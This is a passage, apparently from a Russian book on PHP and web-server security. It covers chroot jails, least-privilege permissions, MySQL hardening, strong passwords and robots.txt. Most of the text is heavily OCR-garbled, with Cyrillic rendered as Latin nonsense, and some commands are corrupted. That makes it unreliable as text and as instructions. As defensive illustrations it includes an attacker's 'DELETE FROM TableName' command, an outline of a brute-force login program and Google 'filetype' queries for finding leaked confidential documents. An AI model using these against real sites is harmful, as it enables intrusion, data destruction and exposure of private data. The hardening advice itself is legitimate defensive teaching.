ny4qlle Aenars 3710 [ocke Toro, Kak Bbl yéeaurech, 410 Bee paboraer,

OkpyXeHne rotoso, # HeoGXOAHMEIE MPOrpaMMel NPUCYTCTBYIOT. Teneps MOXHO
YCTAHOBUTL cY)XBy B 310 okpyxkexue. [Lis 310ro uifoliHsgeM KoMaHmy:
/usr/local/bin/addjailsw /home/chroot -P httpd

B nmanHoM npumepe B HOBOE OKpYXeHHe ycTawamgHsaetcst nporpamma htipd
1 Bee HeoOxoaumele el Onbnmoreku. Iporpamma jail cama onpenenur, yro Heob-
XOAUMO.

Teneph B HOBOE OKpPYXEHHE MOXKHO AoGABASTL MONB3OBATENS. DTO BLINOAHSAETCS
KOMaHIIOM:

/usr/local/bin/addjailuser chroot home sh name

3nech chroot — BUPTYANbHBIA KOPHEBOH Karaior, B HAMIeM CIyYae TAKOBLIM
ABNACTCS /home/chroot, [lapamMerp home — 9T0 AOMAIIHHNA KaTanor Noib3opare-
/il OTHOCUTENbHO BUPTyanbHoOro katanora. [Tapamerp sh — komaHgHbU wHTEP-
npetarop. INapaMerp name — WUMS TIONL30BATE/NSI, KOTOPOE MBI XOTHM AOBABUTH
(3T0 MMS YXe JO/DKHO CYLIECTBOBATL B OCHOBHOM okpyxeHnu OC),
IMocmoTpuM, Kak MOXHO mobaBuThk nonb3osareis robert (oH HOKeH yxe cylue-
CTBOBATh B PEAILHONH CHCTEME) B BUPTYAIBHYIO CHCTEMY:
/usr/local/bin/addjailuser /home/chroot )\

/home/robert /bin/bash robert
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V MeHs KOMAHJA HE YMECTHIACH B OMHY CTPOKY, TOSTOMY s CAEnal MepeéHoc
C MOMOIIBI0 CUMBONA \. DTOT CUMBOJI YKa3hbiBAET, YTO KOMAHIA HE 3aKOHYHJIACH
W MPOZOIDKAETES B cneyionieil cTpoke.

Ecnu napaue'mu YKa3aHel BEPHO, TO BbI MO/KHBI YBHAETH cooOlenne Done,
uHave Gyim- BbiBEeHO coobierHne o6 ournbie.

Nast sanycka cepsepa hitpd (B Linux s10 cepsep Apache) B BUPTYaNLHOM OKpY-
XEHWH JO/KEH MPHCYTCTBOBATH Mojik3oBatens apache. B peanbHoM oKpyXeHUH
OH eCTh. Jianaﬁm TIOCMOTPHM HA €70 NAPAMETH! I COMAMIM TAKOTO K TIOE30-
BATENst B BUPTYANBHOM OKPYXKEHUU:

/usr/local/bin/addjailuser /home/chroot \
/vax/waw, /bin/false apache

Kak reneps nonmacts B Hosoe okpykeHHe? Boinonnurte KoMaHLy:
chroot '/home/chroot

Bbl oKaxeTech B HDBOM okpyxkeHuu. TONBKO yuTHTe, YTO GONIBIMHHCTBO KOMAHIL
3jlech He paﬁorm ‘Tak, HanpuMep, Mbl He YCTAHOBIIN B BHPTYATbHOE OKpyXe-
Hie nporpammy MC, nosToMy Bbl He CMOXKETE €10 BOCMO/bIOBATHCS.

Yro6il YOEANTHCS, YTO Bl HAXOAUTECH B BHPTYANLHOM OKDYKCHWH, BHIIONHHTE
KOMaHy:

1s -al /ete

Bl yBHaHTE BCEro HECKONLKO (hailyios, H ITO JHUIG Makas 4acTh TOro, ¥To JA0C-
TYIHO B peaibHOM Karanore /etc. Moxere npocmorpers daiin /etc/passwd; B Hem
Gynyr TONBKO NOALIOBATENH BHPTYAIBHOIO OKpyXeHus. Ecnu snoyMeiumieHHHK
BAIOMAET €ro, TO OH TOMYUHT TONLKO 3TH JAHHLIE U CMOMNKET YHHYTOXUTE TONBKO
conepxumoe kartanora /home/chroot. Bess ocransHas cbaﬁnom cHcrema ocra-
HETCsl LeJIoN M HeBPeIuMoil, al

Hna samycka hitpd HYXHO amno:mm B Bnmymm-mu oxpy;kérmu KOMaHIy:
/usr/sbin/httpd. TakuM oGpaszoMm, MOXKHO NMepeBecTH B OKpyXeHne chroot Bce
HeobxomMmeie Web-cepsepy nporpammsl, B Tom wucie u MySQL.

Ec/ii MexonuTh W3 Mpasita, 9To omrubKH ecTh B JI0BOH nporpaMMe, Bhl AO/DKHEI
BbITH FOTOBBI K TOMY, UTO Baily CUCTEMY Korma-HHOyIb Bartomator. [laxe ecin 570
NPOM3OIMALT, XaKep He CMOXeT NOoAyduTh A0CTYN K Baluel peansHoil daitnoBoil
clcTeMe W He HapywmT pabory cepBepa, HO OH cMOXET HapyumTs paGoty Web.

3.2.lpaBa gocryna

B nporpaMMHpPOBAHUM M AIMHHMCTPHPOBAHME HEOBXOMMMO BCEra OTTANKHBATE-
¢l OT TMpaBuna — sanpeuieHo Bce, 4To He paspemieno. Korna ssi Hacrpausaere
KOMNBIOTEP/CepBep WIH muilere mporpamMMy, HeobXOMHMO CHAYaNa 3ampeTHTh

abCoOTHO BCE W TOJIBKO MOTOM BBIAABATH ONpeeNeHHble Npasa. DTo NOMKHO
Kacarses Beero, ¢ uem Bel paboraere.
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3.2.1. NpaBa cueHapues B cucreme

CueHapui JO/UKHBL BRIMOMHATHCSA B CHCTEME ¢ MUHMMANBHLIMU npasamu. [pea-
NONOXNM, Ball CUECHAPHI NO/DKEH MMETh IpaBo 00palaTses K CHCTEMHOMY Ka-
Tanory /etc. B arom xaranore cepsep xpaHuT KoHMUIypauKHoHHbie daitibl, U ecnu
M0/IB30BATElh CMOXKET CKOMIPOMETHPOBATH CLEHAPUI, TO BElMKA BEPOATHOCTE,
YTO XaKep CMOXKET MONYYHTh Ha CEpPBEpe NMpaBa alilMUHMCTPaTOpA.

Cuenapun seimonHAioTcs Web-cepsepoM (Uaille BEEro Ui STHX UENEH HCTOAb-
ayior Apache), ¥ MMEHHO €ro npasaMy ONpeneNsioTes NMpaBa BBINOJHAESMBIX CHE-
Hapues. HanGonee adpdexTuBHBIM METOAOM 3aLIUTHL. ABiseTcs coanaHie Henpu-
BUJAETUpOBAHHON yyeTHolt 3anucH (¢ MHHHMATEHO thmmmuu npasamu), oT
MMeHM KOTOpo#l ByieT BHIMOMHATECA caM cepBep Apache q\nce BLIMOMTHSIEMbIE HM
CLIeHApHH.

Yrobsl mpoute G510 YNpasiATh npanawamm daiinel B OTASABHBIX
Karajorax no tunam. Hanpumep, t,bal}mﬂ acTpoiikamu (inc, dat u 1. ) my4iue
BCETO MOMECTUTH B OIMH Kataior, (ailisl maﬁ:mnoa B PYToit, a daiian ¢ dyHk-
unasmMH Ha sapike JavaScript B Tpetiit. Menonnsiemble daitnsl cueHapues Takxe
HE CTOMT pa3bpackiBATh 110 KATAIOrAM M PACTIONOXKMTE UX CHEAYET MAKCHMAIBHO
KOMIAKTHO. KONMYECTBO KATAIOTOB He YCAOKHAET AHANH3 CepBepa, 3aT0 YeIoK-
HAET YNPABRIeHNe NPABAMH AOCTYTIA.

IMpasa Ha BLIMOJHEHUE AOKHEI OLITH TONBKO ¥ TeX (ailoB, KOTOpEIM 3TO nek-
crBuTenbHO Heobxommmo. Hanpumep, daiinbl ¢ komangamu JavaScript A07DKHB
MMETh MpaBa TOJBKO HA YTEHWE, HO HMKAK HE HA BeIMojHeHue. Takue daiiin
BRITIONHAIOTCH HA CTOPOHE KJMEHTA, 4 CepBepy MOCTATOYHO NpAB HA YTEHWE, 4To~
Okl TPOCTO MepeNath Gain KIHeHTy.

3.2.2. Npasa cepsepa 6a3 gaHHbIX

MHorue nporpaMMMETBl M AAMHHUCTPATOPBLI HE MOGAT BOSUTBCS C pacrpeese-
HUEeM Mpas Ha cepsBepe 6as NAHHBIX, HANEACH, YTO MONKAIOYATLCA GyOyT TONLKO
JIeranbHBIC MONB3OBATENH, U OHM OymyT akkKypaTtHo paforaTe ¢ cHcTemoit. DTo
Gonsuran omubka. ITpasa ceppepa 6assl JaHHBIX MOTYT 3AUUTUTSL BAC OT MHOXE-
CTBA MOTEHIHANLHLIX Npobnem ¢ BesonacHoCThIO.

[TepBbiM AEOM BBl HO/DKHBI 3AUIMTHTH NOAKTIOYeHUs K cepsepy. Ecau 6asa nax-
HeiX U Web-ceppep, obpabGarsiBaloliuil cueHapuu, PUINYECKH PACTIONOKEHB! HA
OJIHOM KOMITBIOTEPE WM cepBepe, TO HEOOXOAMMO 3aMpeTUTDh JMobble MoAKTIOYe-
Hus K Gase ganHbIX u3sHe. Jo/DKHEBI OBITH paspeiieHbl TONBKO JIOKANLHLIE NMoa-
KIIHOYEHHMS.

Ecnv Gaza pannsix 1 Web-cepsep dusnueckn pasnesenst, To Heobxonumo ¢ no-
MOILIBIO CETEBOro SKPAHA PAaspelluTh MOAKIHOYSHHS TOIBKO ¢ KOMINLIOTEPOB, e
yeraHoneHs! Web-cepsepsl, U KOMIBIOTEPOB, rae paGoTaloT anMuHUCTPaTOpLL.
Bee ocTanbHEle HE JODKHBI HMETH Npasa MpsMOro NOAKIIOYEHMS,
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YTobsl cueHapHii cMOT TIONYYUTE JAHHLIE, OH MOAKTIOYAETCS K ONpeNeaeHHOI
Gasze JaHHBIX U, B 3AaBUCHMOCTH OT TIPaB AOCTYMNA, BLINONHAET Kakue-imbo neitct-
Busi. MHOIHE aIMHHHCTPATOPbl He 0coB6eHHO MOBAT yNpasasTh NPasaMu AOCTYIA
K obbekTaM 0a3sbl AaHHLIX, & TPOCTO AAIOT MOJIB3OBATENSAM MOJHEIE NPUBHIETHH
Ha Bce oOBeKTH. D710 HeBepHO. C. MOMOLUBIO CHCTEMBI NTPaB Bbl MOXETE paspe-
IMTh WJIW 3aNpeTHTh BBIMOJHEHWE onpeneieHHbX Komann Hanpumep, Gonb-
IIWHCTBO CLEHAPHEB MMPOCTO BhIOMpaeT HaHHbE W3 Tabnuu W orobpaxaer HX
no/b3osaTeso. [Uis 3Toro A0CTaToYHO MMETH MPABA TONBKO HA BBIGOPKY JAHHBIX
(oneparop SELECT), TIpH 3TOM MONb30BATENb HE GYAET UMETH BOIMOXHOCTH Y/ia-
JIATh ¥ 100aBNATL JAHHBIE,

Yaire Bcero omiakKeHHBIE CLEHAPUM paboTaloT A0Kroe Bpems 6e3 M3MEeHEHHs
CTPYKTYpBl faHHbiX. Mcxomst u3 310ro, BrojiHe JNOrM4HBIM Obuto B 3amperuts
ydeTHOl 3aNMCH, Yepes KOTopylo CUEHapHil MOAKIIONAETCS K CepBepy, HIMEHATH
cTpyKTYpy 6asbl JaHHBIX, T. €. 10GaBNSATH H YAAATH Takue oGbeKThi, KaK Gasbl
NaHHBIX, TAONMMUBI M T. A. JU1A BHECeHMs! NOZOOHBIX M3MEHEHMit HeobXoaumo
HMETh OTAENBHYIO YYETHYIO 3aliCh WIM MCMOMb30BATh YYETHYIO 3aNHCh ANMHHH-
CTPAaTOpa M BMEIIMBATECA B CTPYKTYpY 6a3sl HanpaMylo (C NMOMOUIBIO YTHIIMT al-
MHUHUCTPUPOBAHHUSA), @ HE Yepe3 CLeHapuu.

AIMHHHCTpaTOp caiiTa JODKEH MMETh JOCTATOMHO IWMPOKHE MOMHOMOYMS, I10-
S5TOMY B CLEHAPMH AIMUHMCTPHPOBAHMSI MOXHO JUISI MOAKTIOYEHHS HCNONB3O-
BaTh Jpyrue npasa, HanmpHMep, Te€, KOTOPLIE BBOIMT [MONBL30BATENDL CUeHAPUS ajl-
MHHMCTPHPOBAHNWS NPH BXONE B 3AKPBITYI0 YacTh CcaiiTa MAM 3aUIHIIEHHBIH
Karasor. 910 y106HO, KOrna y Bac HecKoJIbKO AIMHHNUCTPATOPOB ¢ pasHbIMH Npa-
BamMu. B aToM ciyyae HpaBuIbHBIA JOCTYN rapaHTHpPYeTCst He TOJIBKO NpoBepKa-
MW B CLEHAPWH, HO M caMuM cepsepoM Gasbi maHHbBIX. Echu kakoif-mi6o anmu-
HHCTPATop cymeer OOOMTH 3alMTy CLEHApUS M TONBITACTCH BBIMOMHUTD
3anpeleHHyIo onepaurio (Hanmpumep, ylanreHne JaHHBIX), TO CEPBEP HE CMOXET
BBIMOJIHUTE 3TO AeHCTBHE.

CospemeHHble cepBepbl 6a3 nanHbX, Takue kak MS SQL Server, Oracle u ap.,
yMeIoT paboTaTh ¢ TPUITepaMu. STO MPOrpaMMbl Ha ONPEAEIeHHOM s3biKe (Jaiue
Bcero, HA SQL mnu ogHOM M3 ero paclimpeHuil), KoTopele BEINOIHAIOTCS Ha cep-
BEpe B OTBET Ha onpe/eNeHHble cobpiTist. Hanpumep, MOXHO HasHAYHTh TPUITEP
Ha ynaneHue, KoTophiif GyaeT LONOMHUTENBHO MPOBEPATH BO3MOXHOCTD YAANCHUSA
sanuceit. JlomycTiM, B3TOMUIMK, KOTOPBIH 3aX04eT YIANNTH BCe JIAHHBIE C cepBe-
pa, OyaeT BBINOAHATE KOMAHY: [

DELETE FROM TableName

Tpurrep MOXeT, HATIPAMED, NPOBEPHTH, NPEBBILAET AN KOJNYECTBO YHANSEMBIX
sanuceit 10, ¥ OTKIOHUTL NMOMBITKY YAAIEHUS, BbIIATE OWMOKY MM Haxe oThpa-
BUTHL cooblueHe anMHHUeTpaTopy. Takum oOpa3oM, AaHHBIE OCTAHYTCH B Leno-
CTH M COXPAHHOCTH, M TIPH 3TOM AAMUHMCTPATOP CBOEBPEMEHHO Y3HAET O BTOP-
xenun. KoHeuHo e, 3Ty 3aluuty Jierko oGoiTH, eciu YAaisTh JaHHBIE 10
qacTAM, HO 3TO OTHUMET MHOIO BPEMEHM, M He KaXIblif BIMOMIIMK peliuTes Ha
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nonobHyio araxy. K Tomy xe, ouncruTs 6asy HaHHBIX ITOWCKOBOH CHCTEMbI TAKHM
ofpasoM NpakTHYECKH HEBOIMOXKHO, TIOTOMY YTO MOHAROGSTCS rojibl.

Bonee croXHe METON 3aumTsl TpebYET OTAMYHOrO 3HaHUs GA3bl JAHHBIX W e
paborsl. Hanpumep, Bbl TOYHO 3HAETE, YTO YHANCHHE CTPOK MPOMCXOAHT OYEHSH
peiiko. B aTOM Cydag MOXHO € NMOMOIIBIO TPHITEPA 3afpeTuTh yraneHue Gosnee
10 cTpoK B /ieHE.

[pasa noctyna ceppepa 6asbl JAHHBIX W TPUITEPHl — OueHb MOINLHEIE HHCTPY-
MEHThI JOMOIHUTENBHOTO ObECTIeeHHs UEeNOCTHOCTH AaHHbIX cepsepa. Heobxo-
JAAMO 3amMpeTHTh BCE, A& paIJpelluTh TONbKO camoe Heobxomumoe. Yem Goibue
CPEJICTB 3aIIMTH BBl By/ieTe HCNONL30BATh, TEM C/IOXHee ByIeT xakepy npoburses
CKBO3h STY 3aULUTY W nofobparh KMo4YH K sairei xpeuoc‘m

BonsmmmHeTBO cepsepoa TTO3BOJIAIOT HCI'IOJHﬁOBaTb CHCTBMY, BBITIONHATL B HEl
KoMaHbl Wi Yutarh daiist. B MySQL ects KOMaHIa LOAD DATA LOCAL file.
PekoMeHIYI0 3anpeTuTh ee BBITOJHEHHE H HE MCHO/Ib30BATH B CBOMX CICHAPHIX.
Hns sroro B daiine Jetc/my.cnfl Hanuwure B passene [mysqld] CHCAYIOULYIO
CTPOYKY:

Set-variable=local-infile=0

3.2.3. MNpaea Ha ypaneHHoe noaknioYeHue

Mbi yxe 3HaeM, 4TO MOMBIOBATENM HE NOIKHBI HMETh MPaBa NMPAMOro MOAKIIO-
yeHust K MySQL-cepsepy. MM ato nipocto He HyxHO. Boissisas PHP-cuenapnit,
umMedHo Web-cepBep, a He nojb3oBarelb, NOAKTIONAETC K cepBepy 0asbl nau-
HeiX. Eciun Web-ceppep u 6a3a nanHBIX HaxXomsTcs Ha OTHOM (DH3UYECKOM cep-
Bepe, To Jilodble ynaneHHbie obpaleHnsa K 6ase MOXHO OTKIOYHTS.

Yrobel 3anperuTs yaanenHoe noxkmiovenue Kk MySQL, weobxomumo B (aitie
fetc/my.cnf B pasnene [mysqld] [Mponucars Mapamerp skip-networking.
Ho agMUHHCTPATOPBI 0YeHb YACTO HO/DKHEI MMETH YAAISHHBIH AOCTYN K cepBepy.
B aTOM cnyHae MOXHO MOCTYIHTE OIHHM H3 CNEAYIOUHX cnocofon:

O paspemnTh yAANEHHOE MMOAKIIOYEHHE, HO NMPH 3TOM 3AIMTHTE €ro ¢ oMo~
mbio ceresoro 9xkpaHa. Cepsep MySQL ppubumaer coeauuneHne Ha
mopt 3306. HeobxoauMo YCTAHOBHTH 3allpeT HA HNOCTYN K 3TOMY MOPTY IR
BCEX M ABHO Pa3peilinTsb AOCTYI TONBKO ¢ onpene.rreﬂuux [P-anpecos, rae pa-
BoTaloT aAMUHUCTPATOPSI;

0 wucrnonk3oBaTh TYHHeIWpoBaHue. DTo maxe Gonee npemoq'rmenmun Bapu-
AHT, MOTOMY YTO MEXIY CEPBEPOM W KIMEHTOM JaHHbie GyIyT nepenasaTncs
B 3aM(poBaHHOM BHIIE.

MoxHo ucnions3osars oba sapuanra. [Uisi aIMWHHCTPaTOPOB, KOTOPbIE HAXOLAT-
cA BHYTPH OHOMN CETH ¢ CepBEpOM, MOXHO HCIONLIOBATL OTKPLITOE COEANHEHNHE
M OTPAHMYMBATH MPABA AOCTYIA Yepes ceTeBoil axpaH. s ynaneHHBIX Monb3osa-
Teneil, KOTopsle NOAKMOYAITCH Yeped MHTepHeT Mo OTKPLITHIM KaHANaM, MOXHO
MCTIONB30BAThH TYHHEb.
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3.2.4. Npasa chaiinos cueHapues

Y cueHapues He NOIKHO GHTL HMKAKHX Mpas, W Baleibliamu Beex (ailios
JO/DKHBI OBITH TONBKO HEMTPUBHIETHPOBAHHLIE MOJb3OBATENH,

Kaxapiit aitr ra cepsepe umeer onpesenernsie npasa. [lonuruka npas gocryna
K (haitnam 3aBucut ot KonkperHoit OC. Yawe scero PHP ncnonssyercs B cesiske
¢ Unix-nogobHeIMK CHCTEMAMH, MOITOMY PacCMOTPHUM MOJUTHKY MPaB Ha IpH-
mepe OC Linux, xotopas B NOCAEAHEE BPEMs CTAHOBHTCS Hanbonee 1MOMyIsipHbIM
PELUEHHEM.

[pasa 8 OC Linux onpeaensiorTesi Ha OCHOBE TPEX COCTABMAIOULMX:

0 npasa BAAZeALHA — N0 YMONYAHMIO, KTO cosjaer (haiii, ToT ¥ sABAsieTes ero
BIIANENBLIeM;

O npasa rpynmst —- 3a daiiom Moxer GuiTh 3aKpemseHa Hexmpga rpynia
MOJIL30BATENeI, M BCE MNONL30BATE/]IM BTOU TPYINBI MOIYT HMeTh ONpeae/ieH-
HEIE npasa;

0 npasa BeeX OCTANBHBIX — BCE OCTATBHBIE ITOMLIOBATEIH CHCTEMBI.

[ns Kakuoil cocTamisoued MOXHO HASHAYNTH TIPABA [OCTYRA — YIEHHE, 3anHCh
U BBHINIONHEHWE. ADCOMOTHBIMM ItpasaMi Ha caiin cueHapus nomwked obnanars
TONIBKO Bialesell. Bee ocTanbible JOMKHBL MMETb TONBKO MPaBo BLINOMHATD (ailn.
[IpesocTaBnath MM NPaBa YTEHNs U 3aMHCH HACTOATENBHO HE PEKOMEHIYETCSL.

Ecan xakep cMoXer sanucath 4ro-mubo B (aitn cueHapus, To OH CMOXET €ro
3AMEHUTD CBOCHH MporpamMmoii, kotopas Oyer BHITOAHSTL HEOOXOAMMBIE BIIOM-
LUKy feiicTud. Hampumep, Ha cepsepe MoXeT ObITh YCTAHOBNIEH CUEGHApHI, Ko-
TOpbI# OyZeT BbITOJIHATL Kakue-1ubo neficTsus: KOnuposarh haiisl Win YUTaTh
KOHdJHrypauHomma caitnet cepsepa. Ecm npasa Web-cepsepa nocrarodsst iis
YTEHHs! CHCTEMHOrO KaTajora /etc, TO Xakep MOXET YBHICTH KOH(HTypaimio,
CITUCKH TOMIL30BATENEH U, BEPOATHO, NAXE naposy JocTyna K cepsepy.

BoamoXHOCTh 4TeHMs (ailia MO3BOAMT YBHAETh MCXOMHBI KOJ [MPOrpaMmsbl,
BanoMitMk CMOXET MPOAHATH3HPOBATbL KO M HallTH ero ciabsie MecTa M MoTeH-
umansHeie ysasumocti., Mcekarh ownbKy HaMHOro mnpotle, KOria AOCTYTNEH
ucxonHbi Ko nporpammel. MHorna naxe ynaercst yBUAETh CTPYKTYpY caiTa.
Hanpumep, PHP-cuenapuii Moxer nNoLKmovaTs KOHMUrypauuoHHsiii daiin
¢ Hactpoitkamu. Eciu aror daitn Gyaer AocTyneH Ui MTEHWs BCeM Moab3oBaTe-
JIAM, TO XaKep CMOXEeT ero TMpodUTaTh W VBMICTE MHOIO JMLUIHEro, Harpumep,
Napoiyi JocTyna K 6ase MaHHbIX, €CU OHW XpaHsTcs B 3TOM daiine.

3.2.5. CnoxHble naponu

TnasHOE NPaBwIo AAMIUHUCTPATOPa — CJIOXKHBIE TAPONH HUKTO He oTMeHsT, OHM
JOKHBl MCTIONB308aTHCs Beale, ocobeHHo npu nocryne K OC u cepsepy Gaast
panubix. Ecam xakep He cmoxeTr GLICTPO MPOHHUKHYTH HA CépBep 4Yepes cueHa-
PHH, OH TIONBITASTCA BITOMATH CcepBep MpocThiM Tepebopom mnaponeit. Ecu

5 3ax. 1315
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MySQL He mossonsieT yecTaHOBUTE VALTEHHOE MOAKITIONEHHE, TO 9T0 He npofine-
ma, Ho OC He MoXeT 3akpbiTh Bee noprsl. Ha Web-cepsepe HeBo3aMOXHO 3anpe-
TUTH Bee nomnoyenust. Kak munnmym, Oyaer orkpsrr 80-# nopr, a mMoryr oka-
3aThCS OTKPHITEIMH H JAPYTHE MOPTHL.

Camu cueHapuu AIMWHUCTPATOPOB W 3aKphbiThie ofiacTH caifTa Takke 3alrdma-
iotca mapoem. Heobxoanmo MakcHManbHO YCIOXHWTL BBOA mapomsi. Yrto 3ro
anaunt? Eciu MMs mosk3oBatens W mapons npocto nepenaiorces yepes URL, 1o
Xakep naxe ¢ HeOOMBIUMM 3aMacOM SHAHWH W OMBITOM MPOrpaMMHPOBAHUS CMO-
XKET HAmWCcaTh MPOCTYI0 TMporpaMMy W cueHapuil juist moaGopa naponst. [List
HAMHCAHKA TAKOH MPOrpaMMbl HALO:

O oMM pas oTIpaBuTh cepsepy 3anpoc Ha 3arpy3ky URL c ykasauuem moGoro
HMEHU MOJIB3OBATENS M Napoisi;

0O onpenesuTs OTBET, KOTOPBIA BBUIACT cepbep B Kauecrse ournbku. Ecnu ommb-
KH HET, 9TO 03HAYAET, 4TO XAKep BINOMA CepBep ¢ MepBoil NOMLITKH,

O uanucars nporpammy, Kotopasi B wnkne sanpamusaer URL c pasHbiMu nMena-
MM ¥ TaponsiMy. OTBeT cpaBHNBAGTCSA C© MOMYYeHHBIM stanoHoM. Ecnu Ha onpe-
NieJIHHOM 9Tane oTseT cepsepa Gyner oTMYATLCH, SHAYAT, NMApoib HAHAEH.

Hauwnyymnit cnoco6 — 3aluMiuarh cueHapuy AIMUHHCTPATOPOB NPH MOMOIUH
mugposanus win cepsepa Apache. B Web-cepsepe MoXHO ncronb3osars htac-
cess (aiyibl M ONMPENENUTL B HUX AOCTYN K KAaTaiory. D10 MO3BOJNUT 3alUINATE
KaTajlor Ha ypoBHe cepsepa TaKMM oOpasoM, YTO ¥y mojbsosareis OyAeT rnoss-
JATBCA OKHO JUISE BBOJIA Mapofis. DT0 0OKHO OOMaHyTh HEMHOIO CIOXHEE, W TYT
yxe HyxHbl Gonee rybokue 3HAHNS MpOrpaMMHpPOBaHMA.

Eme omwH BapWaHT 3aliMTH — Hemojb3osanne nporokona HTTPS, koropmri
nepesaeT rno CeTH AaHHbie B 3aM(ppoBAHHOM BHAE. DTOT METOA MO3BONSET HE
TOMBKO YCTOXHHT MoAGOp maposis, HO M 3alIMTHTBCH OT NMPOCTYIIUBAHMS Tpa-
(uka. Ecnu xakepy ymactesi MojgyYyuTh JOCTYNl K CEPBEPY M YCTAHOBUTH CBOIO
nporpammy-cHuddep wist npocaywHBaHus TpaduKa B ORUAAHHM MAPONS, TO 3TO
HE TIPUHECET Pe3yNBTaTA.

Croxusie napony (He mMeHee 8 cumBonoB u coepxkauiue wiadpst u G6ykssl B pas-
HBIX PErMCTpax) B COMETAHHMH C 3aUIMTON NEpeiaYH Naponeil Mo3BoNMIOT COINATH
Oonee GesonacHbie CLHEHAPHM.

3.2.6. NMouckoBsbie cucTemMsl

3a nocnenuue 10 ner MuTepHeT paspoccs 10 TAKMX PasMepoB, YTO HaliTH B HEM
yto-nubo Ge3 xopoleil TTOHCKOBOH CHCTEMB! CTAlo HeBO3MOXHO. [lepsbie cuc-
TEMbl TIPOCTO WHIAEKCUPOBANH CTPAHUULI MO MX COASPMHMOMY M NMOTOM MCMONb-
30BAIH NOAy4YeHHYO 6a3y AaHHLIX A4 NOMCKA, KOTOPLIH aasan o4yeHb npubnuan-
TenbHbie pesynbrarhl. Eciu nosssosarelb BBOAWI B KayecTBe KOHTEKCTa CIOBO
"nyk", To oTBUPANTOCH OIPOMHOE KOJIHUYECTBO CaiiTOB MO MULIEBOI MPOMBILLIEH-
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HOCTH ¥ To crpeisbe w3 ayka. B GonbiiMHETBE S3bIKOB €CTH CJIOBA, KOTOphIe
MMEIOT HECKOJILKO 3HAMEHUM, H MOMCK 110 HUM 3aTPYINHUTE/NEH.

IMpoGnemMa He TONBKO B [IBYCMBICAEHHOCTH HEKOTOpPHIX CNOB. EcTh MHOXECTBO
IWHPOKO ymoTpebiisieMBIX BhIpaXeHMil, M0 KOTOPHIM TOXE CIOXHO TPOM3IBECTH
TOYHYIO BbIGOpKY. B cBA3SH C OTHM NOWCKOBBIE CHCTEMBI CTATH PAa3BUBATHCS, H
Tenepb MOXHO [06aBisiTL B 3ampoc pasauuHble napamerpsl. OmHON W3 caMbix
MOUIHBIX siBJsierest rmouckosas cucrema Google (www.google.com). B Heit peanm-
30BAHO MHOTO BO3MOXHOCTEH, TO3IBOMSIOMMX CHeNaTh MoHCcK Gonee TOMHBIM.
XKanb, 40 GOABIIMHCTBO [MOAB3OBATENCH HE OCBOMO HMX, 4 BOT BINOMUIMKH H3Y-
YWIH Bee (YHKUMM, U HCIIONB3YIOT HX B CBOMX LEIAX.

OnuH W3 caMbiX MPOCTHIX CrocoboB BaloMa — HAWTH C MOMOLIBIO MOUCKOBOM
cucreMsl zakpbityio Web-crpanuiy. Hekoropbie cailThli MMeEIOT 3aceKpeyeHHbIe
obacTH, K KOTOPLIM JOCTYIl OcyliecTaisiercs no napomo. Kpome Hux cymecr-
BYIOT TUIATHBIE PECYPCHI, [II€ 3alllHTa OCHOBAHA HA [POBEPKE MApOs MPM BXoXe,
4 He HA 3aCeKPeUMBAHMM KAXIOH CTPAHHIB M Mcnoabsosanuu SSL. B rakux
cayqasix cucreMa Google MPOMHACKCHPYET 3aKpBITBIE CTPAHMIIBL, M HX MOXHO
GyAeT NMPOCMOTPETh ¢ €& NOMOUIBIO. [Iifl 3T0ro HANO BCEro JMIML YETKO 3HATH,
Kakasi HHGOPMALIMS XpAHUTCS B (aiine, 1 KaK MOXHO TOYHEE COCTABUTH CTPOKY
MOMCKA,

C nomolpsio www.google.com MOXHO HAWTH JOCTATOYHO BaXHBIE AAHHbLIE, KOTO-
Phle CKPBITHI OT MONB3OBATENsl, HO M3-3a OWMOKH AIMMHMCTPATOPA CTAAW A0C-
TYNHLIMY JUIA MEAeKeupylowedi mamuist Google. Bo Bpems noucka HyXHO npa-

BWILHO 3Q@BaTh NapamMeTpsl. Hanpumep, MOXHO BBECTH B CTPOKY MOMCKa
CHWIOIHYIO KoMaHmy:

oneeoit oruer filetype:doc

Wi
T'onosolt oruer filetype:xls

W Bbl Halinere Bce mokymenTs B (opmarax Word u Excel, comepxaiuue ciosa
"Tonosoit oryer". BoamMoxHO, TOKYMEHTOB OymeT CIIHIIKOM MHOTO, NMOSTOMY 3a-
Npoc MPHAETCS VKECTOUMHTh, HO KTO MILET, ToT Beerja Haizer. CyulecTByloT pe-
aNbHBIE OPUMEPHl M3 XKU3HM, KODMa TaKMM NPOCThIM criocobom OLUTH HaizeHbl
CEKPETHBIE JaHHbIe, B TOM YMCie NeHCTRYIONHE HOMEpA KPeIWTHLIX Kapr u ¢du-
HAaHCOBbIE OTYETHI (hUpM.

JlapaiiTe paccMOTPHM, KaK MOXHO 3afpeTMTh WHAeKcaumio xaranoros Web-
CTPaHMIl, KOTOPLIE HE JOMKHBI CTATH MOCTYIHLIMM IUIA BCEOGUIETO MpoCMOTPa.
B nepsyio ouepens, HEOOXOMHMO MOHHMATD, YTO UMEHHO WHICKCHPYIOT MOHCKO-
Bbie cHeTeMmsl. Ha 3ToT BOnpoc OTBETHTH JIErKo — BCE, YTO MOMANAETCS MOA PYKY:
TEKCT, OMUCAHUSA, HA3BAHUA KApTUHOK, MOKYMEHTHI MOMIEpXHBaeMbIX oOpMaTOB
(?DF, XLS, DOC u 7. ).

Hama 3agaya Kak paspaboTYMKOB CLEHAPHEB — OIPAHUYHTL HACTOHYHBOCTH
MHIEKCHPYIOUMX POOOTOB MOMCKOBBIX MAliKHH, 4T00b OHM He TPOraiH TO, HTO
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sanpeuiero. Jan aroro pofor pomkeH nomy4uTs onpeaenerHbiii curtnan. Kak sro
caenats? Buuto HaASHO JNOCTATOYHO NPOCTOE, HO ANETAHTHOE pellleHHe — B KO-
peHb caiita nomemaercs (haiin ¢ uMeHeM robots.ixt, KOTOpEI CONEPXNUT Npanuia
UL NOMCKOBBIX MALLIWH.

Honyctum, 4To y Bac ecTh cailT www.your_name.com. PoBoT, npexie vyeMm Havars
cBol0 padoty, npobyer sarpy3uts ¢ailn www.your_name.com/robots.txt. Ecnu on
Oyzner HaitaeH, TO MHIEKCALMA TOMIET B COOTBETCTBMH ¢ ONMCAHHBIMU B aline
TIPABUIAMM, WHA'E NPOLIECC JATPOHET BCE NOJPSLL.

®opmar daiina o4eHb NPOCToif # COCTOMT BCEro JINLIbL U3 ABYX AHPEKTHB:

O User-Agent: napamerp — B KAYECTBE NMapamerpd NMEpefaeTcs WM NOUCKoBoi
cHCTEMBI, K KOTOpoll oTHocsTes 3anpetsl. Takux sammceit B aiine Moxer
